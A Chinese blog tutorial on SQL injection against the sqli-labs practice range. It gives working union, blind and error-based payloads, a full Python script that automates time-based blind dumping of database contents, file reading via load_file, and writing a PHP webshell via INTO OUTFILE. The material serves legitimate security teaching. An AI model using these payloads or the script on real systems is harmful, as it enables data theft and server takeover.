【渗透测试】SQL注入
很全面的一篇SQL注入学习指南,本篇博客结合sqli-labs经典靶场介绍
概念
SQL 注入(SQL Injection,简称 SQLi) 是一种常见的 Web 安全漏洞,攻击者通过在应用程序的输入字段中插入恶意的 SQL 代码,从而欺骗后端数据库执行非预期的 SQL 命令。如果应用程序未对用户输入进行适当的验证或转义,攻击者就可能绕过身份验证、读取敏感数据、修改或删除数据库内容,甚至在某些情况下完全控制数据库服务器。
SQL注入危害:
- 数据泄露与篡改风险
- 越权操作
- 远程控制
预防SQL注入方法:
- 参数化查询
- 输入验证与过滤
- 避免动态拼接
- 使用WAF
MySQL特性
接下来,介绍一下MySQL数据库的一些常见特性。为后文介绍SQL注入方法打好基础
隐式转换
当字符串与数字比较时,MySQL 自动将字符串转为数字。
例如,'123'自动转为123,'1abc'转为1
'abc123'转为0
在MySQL中,默认单引号是字符串界定符,而双引号在字符串中则被认为是一个普通字符。
例如,在sqli靶场的第一关,输入?id=1"也能正常查询,就是因为MySQL认为双引号在字符串中就是一个普通字符,进行隐式转换后,仅保留了1。但是,输入?id=1'就会报错
这里就引申出一个很重要的闭合方式判断原则,and后面跟一个假的条件,如果不能正常进入,就说明判断的闭合方式正确。
例如在sqli-labs靶场第一关,输入http://sqli-labs:6655/Less-1/?id=1' and 1=2 --+页面回显不正确,但输入http://sqli-labs:6655/Less-1/?id=1' and 1=1 --+就能正常进入。说明闭合方式为单引号。但此时若判断闭合方式为双引号(或者其他错误的),MySQL就会把这个错误的闭合方式以及后面所有字符当作一个字符串进行隐式转换,只保留数字部分,因此无论and后面条件的真假并不会影响查询


错误的闭合方式判断无论and条件真假都能查询
常用函数与MySQL语法
接下来,介绍一下常用于SQL注入的功能函数
-
substr(str,pos,len):这是一个截取字符串函数。对字符串str,从pos位置开始,截取len长度的字符。当页面回显显示长度不够一次性全部显示注入返回的信息时,就可以每次仅截取部分内容。 -
concat(str1,str2,...,strn):将所有参数按顺序拼接成一个字符串返回 -
group_concat(col):把同一列(字段)下多行数据合并成一行,并默认用逗号分隔符隔开 -
limit字句:限制查询结果返回的行数。有两种写法:LIMIT n:返回前n行LIMIT offset,n:跳过前offset行,再返回n行
在盲注过程中,一条查询语句若返回多行,就要使用limit字句,保证每次仅处理一行的结果
注入类型
联合查询注入
概念
攻击者通过注入 UNION SELECT 语句,将恶意构造的查询结果与原始查询结果合并返回,从而获取数据库中的敏感信息。
适用于页面存在直接回显
MySQL数据库特点:

information_schema 是 MySQL 内置的一个"元数据库",它的作用不是存业务数据,而是:描述"数据库本身的数据"
数据库的说明书 / 目录索引
而其下属的特殊表和字段的功能如上图
步骤
- 判断回显位:
?id=1' order by 3--+ - 爆所有数据库名称:
?id=-1'union select 1,2,group_concat(schema_name) from information_schema.schemata--+ - 爆所有关键数据库下所有表的名称:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='xxx'--+ - 爆表下所有字段:
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='xxx'--+ - 爆列内容:
?id=-1' union select 1,2,group_concat(xxx) from schema.table--+
盲注
它通常在目标应用不返回任何直接的数据库错误信息或查询结果时使用。有布尔盲注和时间盲注两种。
两种盲注获取信息的写法都和联合注入差不多
时间盲注
通过让数据库执行一个有意造成延迟的操作,根据响应时间的长短来判断SQL语句的真假,从而逐字猜解出数据库中的信息。
例如,猜测数据库长度:
?id=1' and if(length(database())=8,sleep(3),0) --
若数据库长度确实为8,那么就会等待3秒钟再返回,否则直接返回0
下面分享一个我自己写的时间盲注自动化脚本
python
import requests
import time
#requests请求最大等待时间
timeout=5
#判断是否触发sleep的阈值
#若time_consume函数返回时间值大于阈值,说明sql盲注的猜测为真
threshold = 3
# 页面耗时计算函数,向url发送get请求,返回该请求的响应耗时
def time_consume(url):
try:
start_time = time.time()
#发送get请求,timeout用来限制最大等待时间
requests.get(url,timeout=timeout)
end_time = time.time()
return end_time-start_time
except:
#请求异常返回0
return 0
# 判断sql条件是否为真
def is_true(url):
response_time = time_consume(url)
return response_time>threshold
# 爆破数据库名的长度
def get_database_length():
# 数据库名长度范围
for length in range(1,50):
# 构造payload
payload = f" and if(length(database())={length},sleep({threshold}),0)--+"
# 拼接url
url_full = url_base+payload
if is_true(url_full):
return length
return None
# 逐字符爆破数据库名
def get_database_name(length):
db_name = ""
for i in range(1,length+1):
# 常见字符
for char in range(32,127):
ascii_val = char
# 判断第i个字符的ascii值是否等于ascii_val
payload = f" and if(ascii(substring(database(),{i},1))={ascii_val},sleep({threshold}),0)--+"
url_full = url_base+payload
if is_true(url_full):
db_name += chr(ascii_val)
break
return db_name
#获取数据库下所有表的名称
def get_table_name(db_name):
if not db_name:
print("[-] 不是正确的数据库名称")
return
# 每个表名称长度上限
max_len = 30
# 数据库下表的数量假设上限为10条
for i in range(0,10):
table_name = ""
for pos in range(1,max_len+1):
found = False
for char in range(32,127):
payload = f" and if(ascii(substring((select table_name from information_schema.tables where table_schema='{db_name}' limit {i},1),{pos},1))={char},sleep({threshold}),0)--+"
url_full = url_base+payload
if is_true(url_full):
table_name += chr(char)
found = True
break
if not found:
break
print(f"[+] Table{i}:{table_name}")
# 获取表下所有字段内容
def get_column_name(table_name):
if not table_name:
print("[-] 不是正确的表名称")
return
max_len = 30
for i in range(0,10):
col_name = ""
for pos in range(1,max_len+1):
found = False
for char in range(32,127):
payload = f" and if(ascii(substring((select column_name from information_schema.columns where table_name='{table_name}' limit {i},1),{pos},1))={char},sleep({threshold}),0)--+"
url_full = url_base+payload
if is_true(url_full):
col_name += chr(char)
found = True
break
if not found:
break
print(f"[+] {i}:{col_name}")
def dump_table_data(table_name, column_name):
if not table_name or not column_name:
print("[-] 表名或列名不能为空")
return
max_rows = 10 # 假设最多10行数据(可调)
max_len = 50 # 每个字段内容最大长度(可调)
print(f"\n[+] 正在爆破表 `{table_name}` 中列 `{column_name}` 的数据:")
for row_index in range(max_rows):
data = ""
for pos in range(1, max_len + 1):
found = False
for char in range(32, 127): # 可打印ASCII字符
# 构造 payload:判断第 row_index 行、第 pos 个字符是否为 char
payload = (
f" AND IF(ASCII(SUBSTRING("
f"(SELECT {column_name} FROM {table_name} LIMIT {row_index},1),"
f"{pos},1))={char}, SLEEP({threshold}), 0)--+"
)
url_full = url_base + payload
if is_true(url_full):
data += chr(char)
found = True
break # 找到就跳出字符循环
if not found:
# 如果 pos=1 就没找到,说明没有这一行(查询结束)
if pos == 1:
if row_index == 0:
print("[-] 未查询到任何数据")
else:
print(f"[+] 共获取 {row_index} 行数据")
return
else:
# 当前行已结束
break
print(f"[+] Row {row_index}: {data}")
# 获取表下的数据
if __name__ == "__main__":
url_base = input("请输入url:")
db_length = get_database_length()
print(f"数据库长度是:{db_length}")
db_name = get_database_name(db_length)
print(f"数据库名称:{db_name}")
get_table_name(db_name)
table_name = input("请输入要查询的表名称:")
get_column_name(table_name)
column_name = input("请输入要查询的列名称:")
dump_table_data(table_name, column_name)
url输入例如
http://sqli-labs:6655/Less-9/?id=1'(需要判断闭合方式),便能自动判断数据库长度,爆破数据库名称,数据库下表名称等信息。无需使用burpsuite手动调节爆破
布尔盲注
适用于应用程序不直接返回数据库错误信息或查询结果,但会根据SQL语句的真假(True/False)表现出不同行为(如页面内容变化、响应时间差异等)的场景。
语句使用与时间盲注基本相同,可以参考上述脚本
例如:?id=1' and ascii(substring((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--
这条语句就是判断,security数据库下第一张表的第一个字母对应的ascii值是否大于100
报错注入
报错注入(Error-based Injection)是一种SQL 注入攻击技术,攻击者通过构造特殊的 SQL 语句,强制数据库在执行过程中产生错误信息,并利用这些错误信息泄露数据库中的敏感数据。
常用报错注入函数有以下四种
updatexml函数
UPDATEXML(xml_target, xpath_expr, new_value)
| 参数 | 说明 |
|---|---|
xml_target |
一个合法的 XML 字符串(作为目标文档) |
xpath_expr |
一个 XPath 表达式,用于定位要更新的节点 |
new_value |
要设置的新值(字符串类型) |
在报错注入中,xml_target输入一个十六进制字符,xpath_expr用于写入需要获取信息的payload,new_value可以输入任意字符
例如,在xpath_expr中写入concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)就会返回相关数据库信息。
但是,UPDATEXML函数一次性最多返回32字符长度的内容。concat函数返回内容可能会超过范围,因此需要使用substring函数截取concat函数的返回内容。例如substring(concat(xxx),1,32)就是从第一个字符截取到第三十二个字符
完整payload示例
http://sqli-labs:6655/Less-3/?id=1') and updatexml(1,substring(concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1,32),1)--+
然后修改截取字符串位置,变为33-65就是下一组32长度的字符串
floor函数与group by语句
这个有点绕,建议认真学,重点看懂报错原理讲解
group by作用:把结果集按某个字段(或表达式)的值"分组",每组只返回一行,并可对组内数据做聚合计算。
MySQL中规定,在SELECT列表中,只能出现以下两类内容:
GROUP BY子句中的字段(或表达式)- 聚合函数(如
COUNT,SUM,MAX等)
当MySQL执行到GROUP BY语句时,会在内存中建立一个 临时哈希表,用于存储分组结果。
临时哈希表的主键(也就是group by后面的内容)不允许重复
完整payload示例:
select count(*), floor(rand(0)*2) as a from information_schema.tables group by a;
由于rand(0)是一个确定序列,因此floor(rand(0)*2)最终是一个确定的01序列(假设为010101)
报错原理:
- 最开始计算主键值为0,查找哈希表没有主键值为0的。但是,要再往后计算一次才插入,因此,插入主键值为1
- 下一步,继续计算,仍然没有找到主键值为0,再往后计算一次,结果为1
- 此时,已经存在主键值为1,因此产生冲突
最终可用注入payload:
?id=1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x3a, (SELECT DATABASE()), 0x3a, FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x) a) --+
结构:
最外层:and (select 1 from(...) a)这一层纯粹是为了绕过and的语法限制,确保注入正确进行
第二层:
SELECT COUNT(*),
CONCAT(0x7e, (SELECT DATABASE()), 0x7e, FLOOR(RAND(0)*2)) AS x
FROM information_schema.tables
GROUP BY x
这是注入的核心,原理如上所述
获取更多信息:
?id=1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='security'),0x7e,FLOOR(RAND(0)*2)) AS x FROM information_schema.tables GROUP BY x) a) --+
只要替换concat函数的第二个参数
EXTRACTVALUE()函数
EXTRACTVALUE(xml_document, xpath_string)
第一个参数可以写一个十六进制形式的字符,第二个参数是就是报错注入的字符串
示例:
?id=1' OR EXTRACTVALUE(0x7e, CONCAT(0x5c, (SELECT database())))--+
EXP函数
这是计算e的x次方的函数,当传入参数大于等于710时,会报错。
通过观察是否报错,可以逐字猜解数据库内容(布尔盲注 + 报错结合)。
示例:
http://sqli-labs:6655/Less-1/?id=1' AND (SELECT IF(SUBSTR(database(),1,1)='s', EXP(710), 0)) --
若当前数据库开头是s,便会报错。依次类推,便可以知道数据库名称信息。
MySQL文件读写
若 Web 应用存在 SQL 注入漏洞,攻击者可能利用数据库提供的文件读写功能,实现读取服务器上的敏感文件和向服务器写入文件等具有危害的操作。
前提条件
要通过SQL注入实现文件读写操作要满足以下条件
-
当前用户对文件具有可读权限(
FILE权限+文件系统权限),若要写入文件,还要有写入文件的权限,并且目标路径上允许写入 -
文件必须在数据库服务所在的主机上,不能跨服务器访问远程文件
-
文件路径必须正确
-
文件大小必须小于
max_allowed_packetmax_allowed_packet是MySQL限制单次传输数据包的最大大小。通过
SHOW VARIABLES LIKE 'max_allowed_packet';查看当前值。单位是字节 -
secure_file_priv配置允许操作secure_file_priv是安全限制参数,控制文件读写的目录范围。- 若值为
NULL:禁止所有文件读写操作。 - 若值为某个目录(如
/var/lib/mysql-files/):只能在该目录下读写文件。 - 若为空字符串(
''):不限制目录读写文件
可通过
SHOW VARIABLES LIKE 'secure_file_priv';查询当前值。在 MySQL 5.5 之前
secure_file_priv默认是空,这个情况下可以向任意绝对路径写文件在 MySQL 5.5之后
secure_file_priv默认是 NULL,这个情况下不可以写文件 - 若值为
sqli-labs配置:
在sqli-labs靶场中,在my.ini文件中,找到[mysqld]段落下的secure_file_priv(没有的话就添加),修改为secure_file_priv=就可以实现不限制目录的读写文件。找到max_allowed_packet(没有的话就添加),可以修改传输数据包上限,例如max_allowed_packet=64M
查看用户权限:SHOW GRANTS FOR 'root'@'localhost';
授权用户:GRANT 权限 ON 数据库.数据表 TO '用户'@'主机名';。例如,给用户 any 分配 全数据库的所有权限,而且 不限制登录来源,就是GRANT ALL ON *.* TO 'any'@'%';
读取文件
load_file()读文件,路径可以是正常的绝对路径,也可以是十六进制
示例:
http://sqli-labs:6655/Less-1/?id=-1' union select 1,2,load_file('C:/phpstudy_pro/Extensions/MySQL5.7.26/my.ini') --+

MySQL文件写入
SELECT '内容' INTO OUTFILE '/目标路径/文件名';
可以通过这种方式写入一句话木马
http://sqli-labs:6655/Less-1/?id=-1' union select 1,2, '<?php phpinfo() ?>' INTO OUTFILE 'C:/phpstudy_pro/WWW/sqli-labs/shell.php' --+
访问网站http://sqli-labs:6655/shell.php

说明成功写入webshell
读写文件,都保持使用左斜杠
/
INTO DUMPFILE也可以用于写入数据,但INTO DUMPFILE更常用于二进制形式写入文件(不会进行格式化, 直接储存原始数据),并且只能导出一行数据。
所谓的文件写入两种方式,本质上是将数据导出到一个文件中。